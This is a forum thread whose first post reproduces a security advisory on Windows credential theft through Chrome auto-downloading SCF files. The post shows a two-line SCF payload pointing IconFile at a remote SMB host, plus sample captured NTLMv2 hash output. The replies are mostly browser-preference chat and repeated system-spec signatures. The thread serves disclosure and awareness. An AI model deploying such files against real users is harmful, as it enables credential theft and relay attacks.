Warning: Attackers can Steal Windows Credentials using Google Chrome

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Attacks that leak authentication credentials using the SMB file sharing protocol on Windows OS are an ever-present issue, exploited in various ways but usually limited to local area networks. One of the rare research involving attacks over the internet was recently presented by Jonathan Brossard and Hormazd Billimoria at the Black Hat security conference[1] [2] in 2015. However, there have been no publicly demonstrated SMB authentication related attacks on browsers other than Internet Explorer and Edge in the past decade. This paper describes an attack which can lead to Windows credentials theft, affecting the default configuration of the most popular browser in the world today, Google Chrome, as well as all Windows versions supporting it.

The Problem

With its default configuration, Chrome browser will automatically download files that it deems safe without prompting the user for a download location but instead using the preset one. From a security standpoint, this feature is not an ideal behavior but any malicious content that slips through still requires a user to manually open/run the file to do any damage. However, what if the downloaded file requires no user interaction to perform malicious actions? Are there file types that can do that?

Windows Explorer Shell Command File or SCF (.scf) is a lesser known file type going back as far as Windows 98. Most Windows users came across it in Windows 98/ME/NT/2000/XP where it was primarily used as a Show Desktop shortcut. It is essentially a text file with sections that determine a command to be run (limited to running Explorer and toggling Desktop) and an icon file location. Taken as an example, this is how Show Desktop SCF file contents looked like:

Code:
[Shell]
Command=2
IconFile=explorer.exe,3

[Taskbar]
Command=ToggleDesktop


As with Windows shortcut LNK files, the icon location is automatically resolved when the file is shown in Explorer. Setting an icon location to a remote SMB server is a known attack vector that abuses the Windows automatic authentication feature when accessing services like remote file shares. But what is the difference between LNK and SCF from the attack standpoint? Chrome sanitizes LNK files by forcing a .download extension ever since Stuxnet[3] but does not give the same treatment to SCF files.

SCF file that can be used to trick Windows into an authentication attempt to a remote SMB server contains only two lines, as shown in the following example:

Code:
[Shell]
IconFile=\\170.170.170.170\icon


Once downloaded, the request is triggered the very moment the download directory is opened in Windows File Explorer to view the file, delete it or work with other files (which is pretty much inevitable). There is no need to click or open the downloaded file – Windows File Explorer will automatically try to retrieve the "icon ".

The remote SMB server set up by the attacker is ready to capture the victim's username and NTLMv2 password hash for offline cracking or relay the connection to an externally available service that accepts the same kind of authentication (e.g. Microsoft Exchange) to impersonate the victim without ever knowing the password. The captured information may look like the following:

Code:
[*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 - 173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24
NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e000000000200000000000
00000000000
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201
ccf26d91cd9e326e00000000020000000000000000000000

The above example shows a disclosure of victim's username, domain and NTLMv2 password hash.

It is worth mentioning that SCF files will appear extensionless in Windows Explorer regardless of file and folder settings. Therefore, file named picture.jpg.scf will appear in Windows Explorer as picture.jpg. This adds to inconspicuous nature of attacks using SCF files...


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Hi,
I didn't need a good reason not to install chrome but if I did this might just be it :)
 

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Hi,
Yep I would normally do that anyway but chrome has java... and I just do not like it having stuff like that I do not need :)
 

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I avoid all things Google like I avoid ticks, one of which I just pulled off of me. Gonna be a nasty summer up here in Maine. But back to the subject at hand, Google just reeks of privacy violations. Why anyone would have anything to do with it is beyond me, but then a sucker is born every minute, as they say. (Suckers are nasty too, gotta be careful if you go in the water).
 

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In a single word: CONVENIENCE. This is the argument my wife and I have over GOOGLE. I refuse to use it. She insists on using it for the "convenience". No way is that browser going on my new build. I'd rather use I.E. if it comes down to it. I wouldn't mind seeing BRAVE come to fruition but until then I'll be content with Fire Fox. It works well with Linux too. ;)
 

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Vivaldi is good, too. It is based on Chromium, and all Chrome apps work with it, but the browser itself allows a lot of customization. Made by former Opera devs I think.
 

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Made by former Opera devs I think.

Yes, I think that is right. I forget the details, but I don't believe it was an amicable parting. I like Vivaldi but find that it takes a while to open. After it does it is really fast. And yes you can customize it and make it look pretty.

I continue searching for the perfect browser. I've used Chromium, but it's close enough to Chrome to make me nervous. Firefox always ends up being the default, there's just nothing as robust, safe and stable. It's certainly good enough, and at the top of the list.
 

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In a single word: CONVENIENCE. This is the argument my wife and I have over GOOGLE. I refuse to use it. She insists on using it for the "convenience". No way is that browser going on my new build. I'd rather use I.E. if it comes down to it. I wouldn't mind seeing BRAVE come to fruition but until then I'll be content with Fire Fox. It works well with Linux too. ;)

Huway! Firefox FOREVER!! lol ;):cry::D

I would NOT install Chrome if it was the last browser on the planet :rolleyes:

my only problem with Firefox is the Devs are OUT of their MINDS... these days...:mad:

they are planning to SCRAP the XUL based extensions system:cry: for something they call web extensions which sucks royally:rolleyes::mad:

and XUL is what made FF so G.R.E.A.T.

so Firefox's FUTURE is looking pretty bleak now.. :cry::cry:
and I have been using Firefox since v2.0 wayy wayy back in the day...
 

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I use Chrome daily only for professional work purposes I don't download any stuff through Chrome, all the downloads have to go through my FF, no exceptions.

For some reason other than Chrome, all the other browsers lack the proper customization for my work site. I can't change it either, that's my boss dev team's work.

FF has always been my go-to-browser since 2005 or 2006. My dad loved to use Netscape Navigator the most back then. My pref was either FF or Opera. I don't like the present lite version of Opera, I still have the old build one of the heavy pack.
 

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I actually emailed the author of Defence code the day he wrote that article, I tried toe POC he wrote and even though we were running the same version of Chrome It did not work on my system, about a day or two later it seems he got a silent update and then he recieved the warning about the file.

Typing the POC into the address bar

Google chrome warning1.png

Highlighting and selecting Go To
Google chrome warning2.png
Google chrome warning3.png
 

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same same

Huway! Firefox FOREVER!! lol ;):cry::D

I would NOT install Chrome if it was the last browser on the planet :rolleyes:

my only problem with Firefox is the Devs are OUT of their MINDS... these days...:mad:

they are planning to SCRAP the XUL based extensions system:cry: for something they call web extensions which sucks royally:rolleyes::mad:

and XUL is what made FF so G.R.E.A.T.

so Firefox's FUTURE is looking pretty bleak now.. :cry::cry:
and I have been using Firefox since v2.0 wayy wayy back in the day...

And now you know why I'm looking forward to the official BRAVE release. ;)
 

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COX Cable ( west ..) 'forces youto use Chrome

Cox's razoo user profile update does NOT work on Firefox - for 2 months got the" OOPS unexpected error " page, and that's now the only way to manage your email users. Crap does work on Chrome, so had to fire that up- JUST to Add, Delete, Change Cox Email secondary users. Been 2 months, a tier 2 'ref' number and still not fixed on firefox.
Which By the Way - somewhere in their junior programming up grade, they changed their POP3 link - for the last 10 years it's been pop3.west.cox......, suddendly my secondary accounts were getting error messages that they were inactive - which led to the firefox issue above. BUT turns out that now the link is POP.west.cox.... ( not pop3). stumbled across that fix on my own . That was another tier 2 ref 3 that s/h/b resolved in 24 ( no 72) hours, and as far as I know still isn't. I'm surprised that othershaven't run into this problem, or maybe I'm just special.. Anyway - that's why I fired up chrome, and the only reason i'd use it ( although I DID change the default download directory to "chrome stuff" ...
 

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What is happening to all the browsers is absolutely insane. There is no decent browser available yet. Last week we ran into the old https battle and had to uninstall Kaspersky just to access sites that Kaspersky thought were not certified. Oddly, the Kaspersky on my PC did not give me this problem but the browser battle continues so it's either Fire Fox or I.E. for me. Chrome is far too intrusive for my liking and Chromium is too limiting.
 

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What is happening to all the browsers is absolutely insane. There is no decent browser available yet. Last week we ran into the old https battle and had to uninstall Kaspersky just to access sites that Kaspersky thought were not certified. Oddly, the Kaspersky on my PC did not give me this problem but the browser battle continues so it's either Fire Fox or I.E. for me. Chrome is far too intrusive for my liking and Chromium is too limiting.

There is also Opera too.... I tried it once years ago.. briefly... I have always preferred Firefox.. but even FF has its issues these days.. its hanging here and there... especially when RAM usage goes over 1-3GB+

then there is the nonsense with Mozilla wanting to SCRAP Firefox's BEST feature the
- XUL based extension system, in favor of a SEVERELY watered down "Web Extensions" :cry::(:(:mad::mad:
 

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    Hard Drives
    1TB Samsung 980 Pro (NVMe)(SSD)
    2TB Samsung 980 Pro (NVMe)(SSD)
    2TB Samsung 870 EVO (SSD)

    NVMe 1TB
    -- OS(Win10 Pro x64),
    -- programs,
    -- programming(MS Visual Studios 2022 Community Ed.),
    -- music

    NV
    PSU
    Thermaltake TOUGHPOWER DPS G RGB Titanium Certified 1250Watt
    Case
    Corsair Graphite Series 780T Full Tower PC Case
    Cooling
    AMD Wraith cooler (stock) & 3x Corsair case fans
    Keyboard
    Alienware Low Profile RGB Mechanical USB Gaming Keyboard - A
    Mouse
    Redragon M602 RGB Wired USB Gaming mouse
    Internet Speed
    2100Mbps Download, 350Mbps Upload
    Antivirus
    n/a aka "ABOVE TOP SECRET!" lol ;)
    Browser
    Firefox & Google Chrome
  • Computer type
    Laptop
    System Manufacturer/Model Number
    DELL G15 Ryzen edition, model 5515
    OS
    Windows 11 Pro
    CPU
    AMD Ryzen 7 5800H
    Motherboard
    DELL G15 Ryzen edition
    Memory
    16GB DDR4
    Graphics Card(s)
    Ryzen 7 5800H integrated AMD Radeon Graphics and Nvidia GeForce 3060 6GB
    Sound Card
    Realtek ALC3254 with Nahimic 3D Audio for Gamers
    Monitor(s) Displays
    built-in
    Screen Resolution
    1920x1080
    Hard Drives
    500GB NVMe SSD
    PSU
    DELL power brick.
    Case
    laptop
    Cooling
    laptop cooling
    Keyboard
    built-in
    Mouse
    Microsoft basic optical scroll mouse
    Internet Speed
    1000Mbps download, 20Mbps upload
    Browser
    Firefox & Waterfox Classic
Not like the good ole days, eh? ;)
 

My Computers

System One System Two

  • Computer type
    PC/Desktop
    Computer Manufacturer/Model Number
    ASUS CUSTOM BUILD IN THERMALTAKE LEVEL 10 GT CASE
    OS
    Windows 7 Ultimate, Windows 8.1 Pro, Linux Mint/Cinnimon (Triple Boot)
    CPU
    INTEL 6900K
    Motherboard
    X99-E WS USB 3.1
    Memory
    CORSAIR DOMINATOR PLATINUM 128GB
    Graphics Card(s)
    EVGA GTX 1070 FTW
    Sound Card
    Onboard Crystal Sound - very nice ;)
    Monitor(s) Displays
    SAMSUNG 4K 28"
    Screen Resolution
    3140 x 2160 - A little extreme. Need to change it.
    Hard Drives
    1) LSI LOGICAL VOLUME RAID 10 (250 GBX4) SSD ARRAY
    2) INTEL RAID 0 KINGSTON (2) SSD ARRAY
    3) INTEL RAID 1 SEAGATE (2) 1TB ARRAY (secured backup)
    4) INTEL RAID 1 SEAGATE HYBRID (2) (secure secured backup)
    5) AHCI SEAGATE 3TB (1) BACKUP & STORAGE (back
    PSU
    CORSAIR HX 1000i
    Case
    THERMAL TAKE LEVEL 10 GT
    Cooling
    NOCTUA TOWER COOLING - PUSH/PULL
    Keyboard
    LOGITECH PRODIGY (One day I'll get a real keyboard.)
    Mouse
    LOGITECH (One day I'll get a real mouse.)
    Internet Speed
    300 Gb down 12 up Intel(R) I210 Gigabit Network Connection
    Antivirus
    several - Network implementing vs from other PCs - ask me
    Browser
    Mostly FireFox these days
    Other Info
    NOT ENOUGH ROOM TO LIST ALL HARD DRIVES HERE. Cuts me off at 5. Did you know that if you run a network you can scan your PC for viruses via other PCs using several different virus scanners? No virus scanner gets it all. This is narrows down the window for contracting a virus. By using multiple operating systems you can use different virus scanners with no risk of conflict.
  • Antivirus
    KASPERSKY

My Computers

System One System Two

  • Computer type
    PC/Desktop
    Computer Manufacturer/Model Number
    [Self-built](custom-build)(June 2020)
    OS
    Windows 11 Pro (x64)
    CPU
    AMD Ryzen 9 3900X 12-Core Processor
    Motherboard
    Asus PRIME X570-PRO
    Memory
    32GB, 2x G.Skill 16GB (PC3200)(DDR4-2137)
    Graphics Card(s)
    NVIDIA GeForce RTX 3070 Ti 8GB XC3 model by EVGA
    Sound Card
    Realtek® ALC1220A 8-Channel High Definition Audio CODEC
    Monitor(s) Displays
    24" DELL Gaming Monitor - G2422HS - DisplayPort used
    Screen Resolution
    1920x1080p at 165Hz (16:9 Aspect Ratio)
    Hard Drives
    1TB Samsung 980 Pro (NVMe)(SSD)
    2TB Samsung 980 Pro (NVMe)(SSD)
    2TB Samsung 870 EVO (SSD)

    NVMe 1TB
    -- OS(Win10 Pro x64),
    -- programs,
    -- programming(MS Visual Studios 2022 Community Ed.),
    -- music

    NV
    PSU
    Thermaltake TOUGHPOWER DPS G RGB Titanium Certified 1250Watt
    Case
    Corsair Graphite Series 780T Full Tower PC Case
    Cooling
    AMD Wraith cooler (stock) & 3x Corsair case fans
    Keyboard
    Alienware Low Profile RGB Mechanical USB Gaming Keyboard - A
    Mouse
    Redragon M602 RGB Wired USB Gaming mouse
    Internet Speed
    2100Mbps Download, 350Mbps Upload
    Antivirus
    n/a aka "ABOVE TOP SECRET!" lol ;)
    Browser
    Firefox & Google Chrome
  • Computer type
    Laptop
    System Manufacturer/Model Number
    DELL G15 Ryzen edition, model 5515
    OS
    Windows 11 Pro
    CPU
    AMD Ryzen 7 5800H
    Motherboard
    DELL G15 Ryzen edition
    Memory
    16GB DDR4
    Graphics Card(s)
    Ryzen 7 5800H integrated AMD Radeon Graphics and Nvidia GeForce 3060 6GB
    Sound Card
    Realtek ALC3254 with Nahimic 3D Audio for Gamers
    Monitor(s) Displays
    built-in
    Screen Resolution
    1920x1080
    Hard Drives
    500GB NVMe SSD
    PSU
    DELL power brick.
    Case
    laptop
    Cooling
    laptop cooling
    Keyboard
    built-in
    Mouse
    Microsoft basic optical scroll mouse
    Internet Speed
    1000Mbps download, 20Mbps upload
    Browser
    Firefox & Waterfox Classic
Pale Moon?

Has anyone tried Pale Moon? This was a "fork" of Firefox several years ago.

I can't remember all the details (which I believe are available at The Pale Moon Project homepage), but I believe the author disagreed with the direction Mozilla was taking with the UI.

Most Firefox extensions and plug-ins work with it, and there are are special Pale Moon versions for several which do not.

I would be interested in hearing any critical comments about this browser.
 

My Computer

Computer type
Laptop
Computer Manufacturer/Model Number
Lenovo
OS
Windows 7 Professional x64
CPU
Intel N2940
Memory
4GB
Hard Drives
500GB
Antivirus
Webroot
Browser
Pale Moon
Hi,
Yeah I use palemoon it works as good if not better than firefox.
 

My Computer

Computer type
PC/Desktop
Computer Manufacturer/Model Number
Custom assembled by me :}
OS
Win-7-Pro64bit 7-H-Prem-64bit
CPU
i7-5930K 2nd i9-9940x both water blocked VRM's too
Motherboard
ASUS SABERTOOTH X99 2nd ASUS x299 Apex
Memory
Trident-z 3200C14 2nd Trident-z 3600C16
Graphics Card(s)
EVGA 1080ti ftw3 2nd Titan Xp both water blocked
Sound Card
Built-in Realtek
Monitor(s) Displays
1-AOC G2460PG 24"G-Sync 144Hz/ 2nd 1-ASUS VG248QE 24" 144Hz
Screen Resolution
1920 x 1080 144Hz
Hard Drives
2-Samsung M.2 Evo & Evo Plus
2-Samsung 850 EVO 500GB SSD's/ 3-2.5 W.D. Black 1tb-&3-1tb/3-3.5 WD Black 1tb hdd's
PSU
EVGA SuperNOVA 1000-P2 2nd 1200-P2
Case
2-Corsair Obsidian Series 450D Black ATX Mid Tower
Cooling
Custom water loops
Keyboard
Logitech G710+/ 2nd Logitech G910
Mouse
2-RedDragon M901 Perdition 16400 dpi Gaming mouse = wired
Internet Speed
Comcast Ping 19ms 89.31mbps download speed 6.12mbps upload
Antivirus
Malwarebytes Pro/ Superantispyware Pro
Browser
FireFox & Pale moon
Other Info
2nd ASUS X299 Apex/Intel i9-9940x with Custom water loop/7H-Prem-x64/Corsair 450D case/Ram Trident-z 3600C16 4x8gb / Samsung970Evo plus 500gb SSD/Dual ssd EZ swap evo/PSU EVGA SuperNova 1200w-P2 80+Platinum/GPU Titan Xp /8-ML-140 on push-pull on 2-280GTX rads

My Computers

System One System Two

  • Computer type
    PC/Desktop
    Computer Manufacturer/Model Number
    [Self-built](custom-build)(June 2020)
    OS
    Windows 11 Pro (x64)
    CPU
    AMD Ryzen 9 3900X 12-Core Processor
    Motherboard
    Asus PRIME X570-PRO
    Memory
    32GB, 2x G.Skill 16GB (PC3200)(DDR4-2137)
    Graphics Card(s)
    NVIDIA GeForce RTX 3070 Ti 8GB XC3 model by EVGA
    Sound Card
    Realtek® ALC1220A 8-Channel High Definition Audio CODEC
    Monitor(s) Displays
    24" DELL Gaming Monitor - G2422HS - DisplayPort used
    Screen Resolution
    1920x1080p at 165Hz (16:9 Aspect Ratio)
    Hard Drives
    1TB Samsung 980 Pro (NVMe)(SSD)
    2TB Samsung 980 Pro (NVMe)(SSD)
    2TB Samsung 870 EVO (SSD)

    NVMe 1TB
    -- OS(Win10 Pro x64),
    -- programs,
    -- programming(MS Visual Studios 2022 Community Ed.),
    -- music

    NV
    PSU
    Thermaltake TOUGHPOWER DPS G RGB Titanium Certified 1250Watt
    Case
    Corsair Graphite Series 780T Full Tower PC Case
    Cooling
    AMD Wraith cooler (stock) & 3x Corsair case fans
    Keyboard
    Alienware Low Profile RGB Mechanical USB Gaming Keyboard - A
    Mouse
    Redragon M602 RGB Wired USB Gaming mouse
    Internet Speed
    2100Mbps Download, 350Mbps Upload
    Antivirus
    n/a aka "ABOVE TOP SECRET!" lol ;)
    Browser
    Firefox & Google Chrome
  • Computer type
    Laptop
    System Manufacturer/Model Number
    DELL G15 Ryzen edition, model 5515
    OS
    Windows 11 Pro
    CPU
    AMD Ryzen 7 5800H
    Motherboard
    DELL G15 Ryzen edition
    Memory
    16GB DDR4
    Graphics Card(s)
    Ryzen 7 5800H integrated AMD Radeon Graphics and Nvidia GeForce 3060 6GB
    Sound Card
    Realtek ALC3254 with Nahimic 3D Audio for Gamers
    Monitor(s) Displays
    built-in
    Screen Resolution
    1920x1080
    Hard Drives
    500GB NVMe SSD
    PSU
    DELL power brick.
    Case
    laptop
    Cooling
    laptop cooling
    Keyboard
    built-in
    Mouse
    Microsoft basic optical scroll mouse
    Internet Speed
    1000Mbps download, 20Mbps upload
    Browser
    Firefox & Waterfox Classic
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